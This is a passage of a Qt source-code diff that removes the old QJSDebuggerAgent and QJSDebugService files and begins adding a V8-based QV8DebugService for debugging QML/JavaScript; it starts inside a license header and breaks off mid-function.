-** Public License version 3.0 requirements will be met:
-** http://www.gnu.org/copyleft/gpl.html.
-**
-** Other Usage
-** Alternatively, this file may be used in accordance with the terms and
-** conditions contained in a signed written agreement between you and Nokia.
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include "private/qjsdebuggeragent_p.h"
-#include "private/qdeclarativedebughelper_p.h"
-
-#include <QtCore/qdatetime.h>
-#include <QtCore/qcoreapplication.h>
-#include <QtCore/qset.h>
-#include <QtCore/qurl.h>
-#include <QtDeclarative/qjsengine.h>
-
-#include <QtCore/qstringlist.h>
-
-QT_BEGIN_NAMESPACE
-
-class QJSDebuggerAgentPrivate
-{
-public:
- QJSDebuggerAgentPrivate(QJSDebuggerAgent *q)
- : q(q), state(NoState), isInitialized(false)
- {}
-
- void continueExec();
- void recordKnownObjects(const QList<JSAgentWatchData> &);
- QList<JSAgentWatchData> getLocals(void *);
- void positionChange(qint64 scriptId, int lineNumber, int columnNumber);
- QJSEngine *engine() { return q->engine(); }
- void stopped();
-
-public:
- QJSDebuggerAgent *q;
- JSDebuggerState state;
- int stepDepth;
- int stepCount;
-
- QEventLoop loop;
- QHash<qint64, QString> filenames;
- JSAgentBreakpoints breakpoints;
- // breakpoints by filename (without path)
- QHash<QString, JSAgentBreakpointData> fileNameToBreakpoints;
- QStringList watchExpressions;
- QSet<qint64> knownObjectIds;
- bool isInitialized;
-};
-
-namespace {
-
-class SetupExecEnv
-{
-public:
- SetupExecEnv(QJSDebuggerAgentPrivate *a)
- : agent(a),
- previousState(a->state),
- hadException(a->engine()->hasUncaughtException())
- {
- agent->state = StoppedState;
- }
-
- ~SetupExecEnv()
- {
- if (!hadException && agent->engine()->hasUncaughtException())
- agent->engine()->clearExceptions();
- agent->state = previousState;
- }
-
-private:
- QJSDebuggerAgentPrivate *agent;
- JSDebuggerState previousState;
- bool hadException;
-};
-
-} // anonymous namespace
-
-static JSAgentWatchData fromScriptValue(const QString &expression,
- const QJSValue &value)
-{
- static const QString arrayStr = QCoreApplication::translate
- ("Debugger::JSAgentWatchData", "[Array of length %1]");
- static const QString undefinedStr = QCoreApplication::translate
- ("Debugger::JSAgentWatchData", "<undefined>");
-
- JSAgentWatchData data;
- data.exp = expression.toUtf8();
- data.name = data.exp;
- data.hasChildren = false;
- data.value = value.toString().toUtf8();
- // data.objectId = value.objectId();
- if (value.isArray()) {
- data.type = "Array";
- data.value = arrayStr.arg(value.property(QLatin1String("length")).toString()).toUtf8();
- data.hasChildren = true;
- } else if (value.isBool()) {
- data.type = "Bool";
- // data.value = value.toBool() ? "true" : "false";
- } else if (value.isDate()) {
- data.type = "Date";
- data.value = value.toDateTime().toString().toUtf8();
- } else if (value.isError()) {
- data.type = "Error";
- } else if (value.isFunction()) {
- data.type = "Function";
- } else if (value.isUndefined()) {
- data.type = undefinedStr.toUtf8();
- } else if (value.isNumber()) {
- data.type = "Number";
- } else if (value.isRegExp()) {
- data.type = "RegExp";
- } else if (value.isString()) {
- data.type = "String";
- } else if (value.isVariant()) {
- data.type = "Variant";
- } else if (value.isQObject()) {
- const QObject *obj = value.toQObject();
- data.type = "Object";
- data.value += '[';
- data.value += obj->metaObject()->className();
- data.value += ']';
- data.hasChildren = true;
- } else if (value.isObject()) {
- data.type = "Object";
- data.hasChildren = true;
- data.value = "[Object]";
- } else if (value.isNull()) {
- data.type = "<null>";
- } else {
- data.type = "<unknown>";
- }
- return data;
-}
-
-static QList<JSAgentWatchData> expandObject(const QJSValue &object)
-{
- QList<JSAgentWatchData> result;
-// QScriptValueIterator it(object);
-// while (it.hasNext()) {
-// it.next();
-// if (it.flags() & QScriptValue::SkipInEnumeration)
-// continue;
-// if (/*object.isQObject() &&*/ it.value().isFunction()) {
-// // Cosmetics: skip all functions and slot, there are too many of them,
-// // and it is not useful information in the debugger.
-// continue;
-// }
-// JSAgentWatchData data = fromScriptValue(it.name(), it.value());
-// result.append(data);
-// }
-// if (result.isEmpty()) {
-// JSAgentWatchData data;
-// data.name = "<no initialized data>";
-// data.hasChildren = false;
-// data.value = " ";
-// data.objectId = 0;
-// result.append(data);
-// }
- return result;
-}
-
-static QString fileName(const QString &fileUrl)
-{
- int lastDelimiterPos = fileUrl.lastIndexOf(QLatin1Char('/'));
- return fileUrl.mid(lastDelimiterPos, fileUrl.size() - lastDelimiterPos);
-}
-
-void QJSDebuggerAgentPrivate::recordKnownObjects(const QList<JSAgentWatchData>& list)
-{
- foreach (const JSAgentWatchData &data, list)
- knownObjectIds << data.objectId;
-}
-
-QList<JSAgentWatchData> QJSDebuggerAgentPrivate::getLocals(void *ctx)
-{
- QList<JSAgentWatchData> locals;
-// if (ctx) {
-// QScriptValue activationObject = ctx->activationObject();
-// QScriptValue thisObject = ctx->thisObject();
-// locals = expandObject(activationObject);
-// if (thisObject.isObject()
-// && thisObject.objectId() != engine()->globalObject().objectId()
-// && QScriptValueIterator(thisObject).hasNext())
-// locals.prepend(fromScriptValue(QLatin1String("this"), thisObject));
-// recordKnownObjects(locals);
-// knownObjectIds << activationObject.objectId();
-// }
- return locals;
-}
-
-/*!
- Constructs a new agent for the given \a engine. The agent will
- report debugging-related events (e.g. step completion) to the given
- \a backend.
-*/
-QJSDebuggerAgent::QJSDebuggerAgent(QJSEngine *engine, QObject *parent)
- : QObject(parent)
- , d(new QJSDebuggerAgentPrivate(this))
-{
- //QJSDebuggerAgent::engine()->setAgent(this);
-}
-
-QJSDebuggerAgent::QJSDebuggerAgent(QDeclarativeEngine *engine, QObject *parent)
- : QObject(parent)
- , d(new QJSDebuggerAgentPrivate(this))
-{
- //QJSDebuggerAgent::engine()->setAgent(this);
-}
-
-/*!
- Destroys this QJSDebuggerAgent.
-*/
-QJSDebuggerAgent::~QJSDebuggerAgent()
-{
- //engine()->setAgent(0);
- delete d;
-}
-
-/*!
- Indicates whether the agent got the list of breakpoints.
- */
-bool QJSDebuggerAgent::isInitialized() const
-{
- return d->isInitialized;
-}
-
-void QJSDebuggerAgent::setBreakpoints(const JSAgentBreakpoints &breakpoints)
-{
- d->breakpoints = breakpoints;
-
- d->fileNameToBreakpoints.clear();
- foreach (const JSAgentBreakpointData &bp, breakpoints)
- d->fileNameToBreakpoints.insertMulti(fileName(QString::fromUtf8(bp.fileUrl)), bp);
-
- d->isInitialized = true;
-}
-
-void QJSDebuggerAgent::setWatchExpressions(const QStringList &watchExpressions)
-{
- d->watchExpressions = watchExpressions;
-}
-
-void QJSDebuggerAgent::stepOver()
-{
- d->stepDepth = 0;
- d->state = SteppingOverState;
- d->continueExec();
-}
-
-void QJSDebuggerAgent::stepInto()
-{
- d->stepDepth = 0;
- d->state = SteppingIntoState;
- d->continueExec();
-}
-
-void QJSDebuggerAgent::stepOut()
-{
- d->stepDepth = 0;
- d->state = SteppingOutState;
- d->continueExec();
-}
-
-void QJSDebuggerAgent::continueExecution()
-{
- d->state = NoState;
- d->continueExec();
-}
-
-JSAgentWatchData QJSDebuggerAgent::executeExpression(const QString &expr)
-{
- SetupExecEnv execEnv(d);
-
- JSAgentWatchData data = fromScriptValue(expr, engine()->evaluate(expr));
- d->knownObjectIds << data.objectId;
- return data;
-}
-
-QList<JSAgentWatchData> QJSDebuggerAgent::expandObjectById(quint64 objectId)
-{
- SetupExecEnv execEnv(d);
-
- QJSValue v;
-// if (d->knownObjectIds.contains(objectId))
-// v = engine()->objectById(objectId);
-
- QList<JSAgentWatchData> result = expandObject(v);
- d->recordKnownObjects(result);
- return result;
-}
-
-QList<JSAgentWatchData> QJSDebuggerAgent::locals()
-{
- SetupExecEnv execEnv(d);
- return d->getLocals(0/*engine()->currentContext()*/);
-}
-
-QList<JSAgentWatchData> QJSDebuggerAgent::localsAtFrame(int frameId)
-{
- SetupExecEnv execEnv(d);
-
-// int deep = 0;
-// QScriptContext *ctx = engine()->currentContext();
-// while (ctx && deep < frameId) {
-// ctx = ctx->parentContext();
-// deep++;
-// }
-
- return d->getLocals(0/*ctx*/);
-}
-
-QList<JSAgentStackData> QJSDebuggerAgent::backtrace()
-{
- SetupExecEnv execEnv(d);
-
- QList<JSAgentStackData> backtrace;
-
-// for (QScriptContext *ctx = engine()->currentContext(); ctx; ctx = ctx->parentContext()) {
-// QScriptContextInfo info(ctx);
-
-// JSAgentStackData frame;
-// frame.functionName = info.functionName().toUtf8();
-// if (frame.functionName.isEmpty()) {
-// if (ctx->parentContext()) {
-// switch (info.functionType()) {
-// case QScriptContextInfo::ScriptFunction:
-// frame.functionName = "<anonymous>";
-// break;
-// case QScriptContextInfo::NativeFunction:
-// frame.functionName = "<native>";
-// break;
-// case QScriptContextInfo::QtFunction:
-// case QScriptContextInfo::QtPropertyFunction:
-// frame.functionName = "<native slot>";
-// break;
-// }
-// } else {
-// frame.functionName = "<global>";
-// }
-// }
-// frame.lineNumber = info.lineNumber();
-// // if the line number is unknown, fallback to the function line number
-// if (frame.lineNumber == -1)
-// frame.lineNumber = info.functionStartLineNumber();
-
-// frame.fileUrl = info.fileName().toUtf8();
-// backtrace.append(frame);
-// }
-
- return backtrace;
-}
-
-QList<JSAgentWatchData> QJSDebuggerAgent::watches()
-{
- SetupExecEnv execEnv(d);
-
- QList<JSAgentWatchData> watches;
- foreach (const QString &expr, d->watchExpressions)
- watches << fromScriptValue(expr, engine()->evaluate(expr));
- d->recordKnownObjects(watches);
- return watches;
-}
-
-void QJSDebuggerAgent::setProperty(qint64 objectId,
- const QString &property,
- const QString &value)
-{
- SetupExecEnv execEnv(d);
-
- if (d->knownObjectIds.contains(objectId)) {
- QJSValue object;// = engine()->objectById(objectId);
- if (object.isObject()) {
- QJSValue result = engine()->evaluate(value);
- object.setProperty(property, result);
- }
- }
-}
-
-/*!
- \reimp
-*/
-void QJSDebuggerAgent::scriptLoad(qint64 id, const QString &program,
- const QString &fileName, int)
-{
- Q_UNUSED(program);
- d->filenames.insert(id, fileName);
-}
-
-/*!
- \reimp
-*/
-void QJSDebuggerAgent::scriptUnload(qint64 id)
-{
- d->filenames.remove(id);
-}
-
-/*!
- \reimp
-*/
-void QJSDebuggerAgent::contextPush()
-{
-}
-
-/*!
- \reimp
-*/
-void QJSDebuggerAgent::contextPop()
-{
-}
-
-/*!
- \reimp
-*/
-void QJSDebuggerAgent::functionEntry(qint64 scriptId)
-{
- Q_UNUSED(scriptId);
- d->stepDepth++;
-}
-
-/*!
- \reimp
-*/
-void QJSDebuggerAgent::functionExit(qint64 scriptId, const QJSValue &returnValue)
-{
- Q_UNUSED(scriptId);
- Q_UNUSED(returnValue);
- d->stepDepth--;
-}
-
-/*!
- \reimp
-*/
-void QJSDebuggerAgent::positionChange(qint64 scriptId, int lineNumber, int columnNumber)
-{
- d->positionChange(scriptId, lineNumber, columnNumber);
-}
-
-void QJSDebuggerAgentPrivate::positionChange(qint64 scriptId, int lineNumber, int columnNumber)
-{
- Q_UNUSED(columnNumber);
-
-// if (state == StoppedState)
-// return; //no re-entrency
-
-// // check breakpoints
-// if (!breakpoints.isEmpty()) {
-// QHash<qint64, QString>::const_iterator it = filenames.constFind(scriptId);
-// QScriptContext *ctx = engine()->currentContext();
-// QScriptContextInfo info(ctx);
-// if (it == filenames.constEnd()) {
-// // It is possible that the scripts are loaded before the agent is attached
-// QString filename = info.fileName();
-
-// JSAgentStackData frame;
-// frame.functionName = info.functionName().toUtf8();
-
-// QPair<QString, qint32> key = qMakePair(filename, lineNumber);
-// it = filenames.insert(scriptId, filename);
-// }
-
-// const QString filePath = it.value();
-// JSAgentBreakpoints bps = fileNameToBreakpoints.values(fileName(filePath)).toSet();
-
-// foreach (const JSAgentBreakpointData &bp, bps) {
-// if (bp.lineNumber == lineNumber) {
-// stopped();
-// return;
-// }
-// }
-// }
-
-// switch (state) {
-// case NoState:
-// case StoppedState:
-// // Do nothing
-// break;
-// case SteppingOutState:
-// if (stepDepth >= 0)
-// break;
-// //fallthough
-// case SteppingOverState:
-// if (stepDepth > 0)
-// break;
-// //fallthough
-// case SteppingIntoState:
-// stopped();
-// break;
-// }
-
-}
-
-/*!
- \reimp
-*/
-void QJSDebuggerAgent::exceptionThrow(qint64 scriptId,
- const QJSValue &exception,
- bool hasHandler)
-{
- Q_UNUSED(scriptId);
- Q_UNUSED(exception);
- Q_UNUSED(hasHandler);
-// qDebug() << Q_FUNC_INFO << exception.toString() << hasHandler;
-#if 0 //sometimes, we get exceptions that we should just ignore.
- if (!hasHandler && state != StoppedState)
- stopped(true, exception);
-#endif
-}
-
-/*!
- \reimp
-*/
-void QJSDebuggerAgent::exceptionCatch(qint64 scriptId, const QJSValue &exception)
-{
- Q_UNUSED(scriptId);
- Q_UNUSED(exception);
-}
-
-void QJSDebuggerAgentPrivate::stopped()
-{
- bool becauseOfException = false;
- const QJSValue &exception = QJSValue();
-
- knownObjectIds.clear();
- state = StoppedState;
-
- emit q->stopped(becauseOfException, exception.toString());
-
- loop.exec(QEventLoop::ExcludeUserInputEvents);
-}
-
-void QJSDebuggerAgentPrivate::continueExec()
-{
- loop.quit();
-}
-
-QT_END_NAMESPACE
diff --git a/src/declarative/debugger/qjsdebuggeragent_p.h b/src/declarative/debugger/qjsdebuggeragent_p.h
deleted file mode 100644
index 30cbfe67b4..0000000000
--- a/src/declarative/debugger/qjsdebuggeragent_p.h
+++ /dev/null
@@ -1,203 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the QtDeclarative module of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** GNU Lesser General Public License Usage
-** This file may be used under the terms of the GNU Lesser General Public
-** License version 2.1 as published by the Free Software Foundation and
-** appearing in the file LICENSE.LGPL included in the packaging of this
-** file. Please review the following information to ensure the GNU Lesser
-** General Public License version 2.1 requirements will be met:
-** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** GNU General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU General
-** Public License version 3.0 as published by the Free Software Foundation
-** and appearing in the file LICENSE.GPL included in the packaging of this
-** file. Please review the following information to ensure the GNU General
-** Public License version 3.0 requirements will be met:
-** http://www.gnu.org/copyleft/gpl.html.
-**
-** Other Usage
-** Alternatively, this file may be used in accordance with the terms and
-** conditions contained in a signed written agreement between you and Nokia.
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#ifndef QJSDEBUGGERAGENT_P_H
-#define QJSDEBUGGERAGENT_P_H
-
-//
-// W A R N I N G
-// -------------
-//
-// This file is not part of the Qt API. It exists purely as an
-// implementation detail. This header file may change from version to
-// version without notice, or even be removed.
-//
-// We mean it.
-//
-
-#include <QtCore/qset.h>
-#include <QtDeclarative/qjsengine.h>
-
-QT_BEGIN_NAMESPACE
-class QJSValue;
-class QDeclarativeEngine;
-QT_END_NAMESPACE
-
-QT_BEGIN_HEADER
-
-QT_BEGIN_NAMESPACE
-
-QT_MODULE(Declarative)
-
-class QJSDebuggerAgentPrivate;
-
-enum JSDebuggerState
-{
- NoState,
- SteppingIntoState,
- SteppingOverState,
- SteppingOutState,
- StoppedState
-};
-
-struct JSAgentWatchData
-{
- QByteArray exp;
- QByteArray name;
- QByteArray value;
- QByteArray type;
- bool hasChildren;
- quint64 objectId;
-};
-
-inline QDataStream &operator<<(QDataStream &s, const JSAgentWatchData &data)
-{
- return s << data.exp << data.name << data.value
- << data.type << data.hasChildren << data.objectId;
-}
-
-struct JSAgentStackData
-{
- QByteArray functionName;
- QByteArray fileUrl;
- qint32 lineNumber;
-};
-
-inline QDataStream &operator<<(QDataStream &s, const JSAgentStackData &data)
-{
- return s << data.functionName << data.fileUrl << data.lineNumber;
-}
-
-struct JSAgentBreakpointData
-{
- QByteArray functionName;
- QByteArray fileUrl;
- qint32 lineNumber;
-};
-
-typedef QSet<JSAgentBreakpointData> JSAgentBreakpoints;
-
-inline QDataStream &operator<<(QDataStream &s, const JSAgentBreakpointData &data)
-{
- return s << data.functionName << data.fileUrl << data.lineNumber;
-}
-
-inline QDataStream &operator>>(QDataStream &s, JSAgentBreakpointData &data)
-{
- return s >> data.functionName >> data.fileUrl >> data.lineNumber;
-}
-
-inline bool operator==(const JSAgentBreakpointData &b1, const JSAgentBreakpointData &b2)
-{
- return b1.lineNumber == b2.lineNumber && b1.fileUrl == b2.fileUrl;
-}
-
-inline uint qHash(const JSAgentBreakpointData &b)
-{
- return b.lineNumber ^ qHash(b.fileUrl);
-}
-
-
-class QJSDebuggerAgent : public QObject
-{
- Q_OBJECT
-
-public:
- QJSDebuggerAgent(QJSEngine *engine, QObject *parent = 0);
- QJSDebuggerAgent(QDeclarativeEngine *engine, QObject *parent = 0);
- ~QJSDebuggerAgent();
-
- bool isInitialized() const;
- QJSEngine * engine() {return 0; }
-
- void setBreakpoints(const JSAgentBreakpoints &);
- void setWatchExpressions(const QStringList &);
-
- void stepOver();
- void stepInto();
- void stepOut();
- void continueExecution();
-
- JSAgentWatchData executeExpression(const QString &expr);
- QList<JSAgentWatchData> expandObjectById(quint64 objectId);
- QList<JSAgentWatchData> locals();
- QList<JSAgentWatchData> localsAtFrame(int frameId);
- QList<JSAgentStackData> backtrace();
- QList<JSAgentWatchData> watches();
- void setProperty(qint64 objectId,
- const QString &property,
- const QString &value);
-
- // reimplemented
- void scriptLoad(qint64 id, const QString &program,
- const QString &fileName, int baseLineNumber);
- void scriptUnload(qint64 id);
-
- void contextPush();
- void contextPop();
-
- void functionEntry(qint64 scriptId);
- void functionExit(qint64 scriptId,
- const QJSValue &returnValue);
-
- void positionChange(qint64 scriptId,
- int lineNumber, int columnNumber);
-
- void exceptionThrow(qint64 scriptId,
- const QJSValue &exception,
- bool hasHandler);
- void exceptionCatch(qint64 scriptId,
- const QJSValue &exception);
-
-Q_SIGNALS:
- void stopped(bool becauseOfException,
- const QString &exception);
-
-private:
- friend class QJSDebuggerAgentPrivate;
- QJSDebuggerAgentPrivate *d;
-};
-
-QT_END_NAMESPACE
-
-QT_END_HEADER
-
-#endif // QJSDEBUGGERAGENT_P_H
diff --git a/src/declarative/debugger/qjsdebugservice.cpp b/src/declarative/debugger/qjsdebugservice.cpp
deleted file mode 100644
index ad84f656f7..0000000000
--- a/src/declarative/debugger/qjsdebugservice.cpp
+++ /dev/null
@@ -1,208 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the QtDeclarative module of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** GNU Lesser General Public License Usage
-** This file may be used under the terms of the GNU Lesser General Public
-** License version 2.1 as published by the Free Software Foundation and
-** appearing in the file LICENSE.LGPL included in the packaging of this
-** file. Please review the following information to ensure the GNU Lesser
-** General Public License version 2.1 requirements will be met:
-** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** GNU General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU General
-** Public License version 3.0 as published by the Free Software Foundation
-** and appearing in the file LICENSE.GPL included in the packaging of this
-** file. Please review the following information to ensure the GNU General
-** Public License version 3.0 requirements will be met:
-** http://www.gnu.org/copyleft/gpl.html.
-**
-** Other Usage
-** Alternatively, this file may be used in accordance with the terms and
-** conditions contained in a signed written agreement between you and Nokia.
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include "private/qjsdebugservice_p.h"
-#include "private/qjsdebuggeragent_p.h"
-
-#include <QtCore/qdatastream.h>
-#include <QtCore/qdebug.h>
-#include <QtCore/qstringlist.h>
-#include <QtDeclarative/qdeclarativeengine.h>
-
-Q_GLOBAL_STATIC(QJSDebugService, serviceInstance)
-
-QJSDebugService::QJSDebugService(QObject *parent)
- : QDeclarativeDebugService(QLatin1String("JSDebugger"), parent)
- , m_agent(0)
-{
-}
-
-QJSDebugService::~QJSDebugService()
-{
- delete m_agent;
-}
-
-QJSDebugService *QJSDebugService::instance()
-{
- return serviceInstance();
-}
-
-void QJSDebugService::addEngine(QDeclarativeEngine *engine)
-{
- Q_ASSERT(engine);
- Q_ASSERT(!m_engines.contains(engine));
-
- m_engines.append(engine);
-
- if (status() == Enabled && !m_engines.isEmpty() && !m_agent) {
- m_agent = new QJSDebuggerAgent(engine, engine);
- connect(m_agent, SIGNAL(stopped(bool,QString)),
- this, SLOT(executionStopped(bool,QString)));
-
- while (!m_agent->isInitialized()) {
- waitForMessage();
- }
- }
-}
-
-void QJSDebugService::removeEngine(QDeclarativeEngine *engine)
-{
- Q_ASSERT(engine);
- Q_ASSERT(m_engines.contains(engine));
-
- m_engines.removeAll(engine);
-}
-
-void QJSDebugService::statusChanged(Status status)
-{
- if (status == Enabled && !m_engines.isEmpty() && !m_agent) {
- // Multiple engines are currently unsupported
- QDeclarativeEngine *engine = m_engines.first();
- m_agent = new QJSDebuggerAgent(engine, engine);
-
- connect(m_agent, SIGNAL(stopped(bool,QString)),
- this, SLOT(executionStopped(bool,QString)));
-
- } else if (status != Enabled && m_agent) {
- delete m_agent;
- m_agent = 0;
- }
-}
-
-void QJSDebugService::messageReceived(const QByteArray &message)
-{
- if (!m_agent) {
- qWarning() << "QJSDebugService::messageReceived: No QJSDebuggerAgent available";
- return;
- }
-
- QDataStream ds(message);
- QByteArray command;
- ds >> command;
- if (command == "BREAKPOINTS") {
- JSAgentBreakpoints breakpoints;
- ds >> breakpoints;
- m_agent->setBreakpoints(breakpoints);
-
- //qDebug() << "BREAKPOINTS";
- //foreach (const JSAgentBreakpointData &bp, breakpoints)
- // qDebug() << "BREAKPOINT: " << bp.fileUrl << bp.lineNumber;
- } else if (command == "WATCH_EXPRESSIONS") {
- QStringList watchExpressions;
- ds >> watchExpressions;
- m_agent->setWatchExpressions(watchExpressions);
- } else if (command == "STEPOVER") {
- m_agent->stepOver();
- } else if (command == "STEPINTO" || command == "INTERRUPT") {
- m_agent->stepInto();
- } else if (command == "STEPOUT") {
- m_agent->stepOut();
- } else if (command == "CONTINUE") {
- m_agent->continueExecution();
- } else if (command == "EXEC") {
- QByteArray id;
- QString expr;
- ds >> id >> expr;
-
- JSAgentWatchData data = m_agent->executeExpression(expr);
-
- QByteArray reply;
- QDataStream rs(&reply, QIODevice::WriteOnly);
- rs << QByteArray("RESULT") << id << data;
- sendMessage(reply);
- } else if (command == "EXPAND") {
- QByteArray requestId;
- quint64 objectId;
- ds >> requestId >> objectId;
-
- QList<JSAgentWatchData> result = m_agent->expandObjectById(objectId);
-
- QByteArray reply;
- QDataStream rs(&reply, QIODevice::WriteOnly);
- rs << QByteArray("EXPANDED") << requestId << result;
- sendMessage(reply);
- } else if (command == "ACTIVATE_FRAME") {
- int frameId;
- ds >> frameId;
-
- QList<JSAgentWatchData> locals = m_agent->localsAtFrame(frameId);
-
- QByteArray reply;
- QDataStream rs(&reply, QIODevice::WriteOnly);
- rs << QByteArray("LOCALS") << frameId << locals;
- sendMessage(reply);
- } else if (command == "SET_PROPERTY") {
- QByteArray id;
- qint64 objectId;
- QString property;
- QString value;
- ds >> id >> objectId >> property >> value;
-
- m_agent->setProperty(objectId, property, value);
-
- //TODO: feedback
- } else if (command == "PING") {
- int ping;
- ds >> ping;
- QByteArray reply;
- QDataStream rs(&reply, QIODevice::WriteOnly);
- rs << QByteArray("PONG") << ping;
- sendMessage(reply);
- } else {
- qDebug() << Q_FUNC_INFO << "Unknown command" << command;
- }
-
- QDeclarativeDebugService::messageReceived(message);
-}
-
-void QJSDebugService::executionStopped(bool becauseOfException,
- const QString &exception)
-{
- const QList<JSAgentStackData> backtrace = m_agent->backtrace();
- const QList<JSAgentWatchData> watches = m_agent->watches();
- const QList<JSAgentWatchData> locals = m_agent->locals();
-
- QByteArray reply;
- QDataStream rs(&reply, QIODevice::WriteOnly);
- rs << QByteArray("STOPPED") << backtrace << watches << locals
- << becauseOfException << exception;
- sendMessage(reply);
-}
diff --git a/src/declarative/debugger/qv8debugservice.cpp b/src/declarative/debugger/qv8debugservice.cpp
new file mode 100644
index 0000000000..7d3f45e35e
--- /dev/null
+++ b/src/declarative/debugger/qv8debugservice.cpp
@@ -0,0 +1,274 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qv8debugservice_p.h"
+#include "qdeclarativedebugservice_p_p.h"
+#include "qv8debug_p.h"
+#include "qv8engine_p.h"
+#include "qdeclarativeengine_p.h"
+
+#include <QtCore/QEventLoop>
+#include <QtCore/QHash>
+#include <QtCore/QFileInfo>
+
+QT_BEGIN_NAMESPACE
+
+Q_GLOBAL_STATIC(QV8DebugService, v8ServiceInstance)
+
+void DebugMessageHandler(const v8::Debug::Message& message)
+{
+ v8::DebugEvent event = message.GetEvent();
+ if (event != v8::Break && event != v8::Exception && event != v8::AfterCompile) {
+ return;
+ }
+
+ QByteArray response(QV8Engine::toStringStatic(message.GetJSON()).toUtf8());
+
+ QV8DebugService *service = QV8DebugService::instance();
+ service->debugMessageHandler(response);
+
+ if (event == v8::Break && !message.WillStartRunning()) {
+ service->executionStopped();
+ } else if (event == v8::AfterCompile) {
+ service->appendSourcePath(response);
+ } //TODO::v8::Exception
+}
+
+class QV8DebugServicePrivate : public QDeclarativeDebugServicePrivate
+{
+public:
+ QV8DebugServicePrivate()
+ :initialized(false)
+ {
+ //Create a new isolate
+ isolate = v8::Isolate::New();
+
+ //Enter the isolate and initialize
+ v8::Isolate::Scope i_scope(isolate);
+ v8::V8::Initialize();
+
+ //Create an instance in the new isolate
+ engine = new QJSEngine();
+ }
+
+ ~QV8DebugServicePrivate()
+ {
+ delete engine;
+ isolate->Dispose();
+ }
+
+ bool initialized;
+ QJSEngine *engine;
+ v8::Isolate *isolate;
+ QList<QDeclarativeEngine *> engines;
+ QEventLoop loop;
+ QHash<QString,QString> sourcePath;
+ QHash<QString,QByteArray> requestCache;
+};
+
+QV8DebugService::QV8DebugService(QObject *parent)
+ : QDeclarativeDebugService(*(new QV8DebugServicePrivate()), QLatin1String("V8Debugger"), parent)
+{
+ Q_D(QV8DebugService);
+ v8::Debug::SetMessageHandler2(DebugMessageHandler);
+ if (status() == Enabled) {
+ // ,block mode, client attached
+ while (!d->initialized) {
+ waitForMessage();
+ }
+ }
+}
+
+QV8DebugService::~QV8DebugService()
+{
+}
+
+QV8DebugService *QV8DebugService::instance()
+{
+ return v8ServiceInstance();
+}
+
+void QV8DebugService::addEngine(QDeclarativeEngine *engine)
+{
+ Q_D(QV8DebugService);
+ Q_ASSERT(engine);
+ Q_ASSERT(!d->engines.contains(engine));
+
+ d->engines.append(engine);
+}
+
+void QV8DebugService::removeEngine(QDeclarativeEngine *engine)
+{
+ Q_D(QV8DebugService);
+ Q_ASSERT(engine);
+ Q_ASSERT(d->engines.contains(engine));
+
+ d->engines.removeAll(engine);
+}
+
+void QV8DebugService::debugMessageHandler(QByteArray message)
+{
+ sendMessage(packMessage(message));
+}
+
+void QV8DebugService::executionStopped()
+{
+ Q_D(QV8DebugService);
+
+ if (!d->loop.isRunning()) {
+ d->loop.exec(QEventLoop::ExcludeUserInputEvents);
+ }
+}
+
+void QV8DebugService::appendSourcePath(QByteArray message)
+{
+ Q_D(QV8DebugService);
+
+ QVariantMap msgMap;
+ /* Parse the byte string in a separate isolate
+ This will ensure that the debug message handler does not
+ receive any messages related to this operation */
+ {
+ v8::Isolate::Scope i_scope(d->isolate);
+ QString req(message);
+ QJSValue parser = d->engine->evaluate(QLatin1String("JSON.parse"));
+ QJSValue out = parser.call(QJSValue(), QJSValueList() << QJSValue(req));
+ msgMap = out.toVariant().toMap();
+ }
+
+ QString sourcePath(msgMap.value(QLatin1String("body")).toMap().value(QLatin1String("script")).toMap().value(QLatin1String("name")).toString());
+ QString fileName(QFileInfo(sourcePath).fileName());
+
+ d->sourcePath.insert(fileName, sourcePath);
+
+ //Check if there are any pending breakpoint requests for this file
+ if (d->requestCache.contains(fileName)) {
+ QList<QByteArray> list = d->requestCache.values(fileName);
+ d->requestCache.remove(fileName);
+ foreach (QByteArray request, list) {
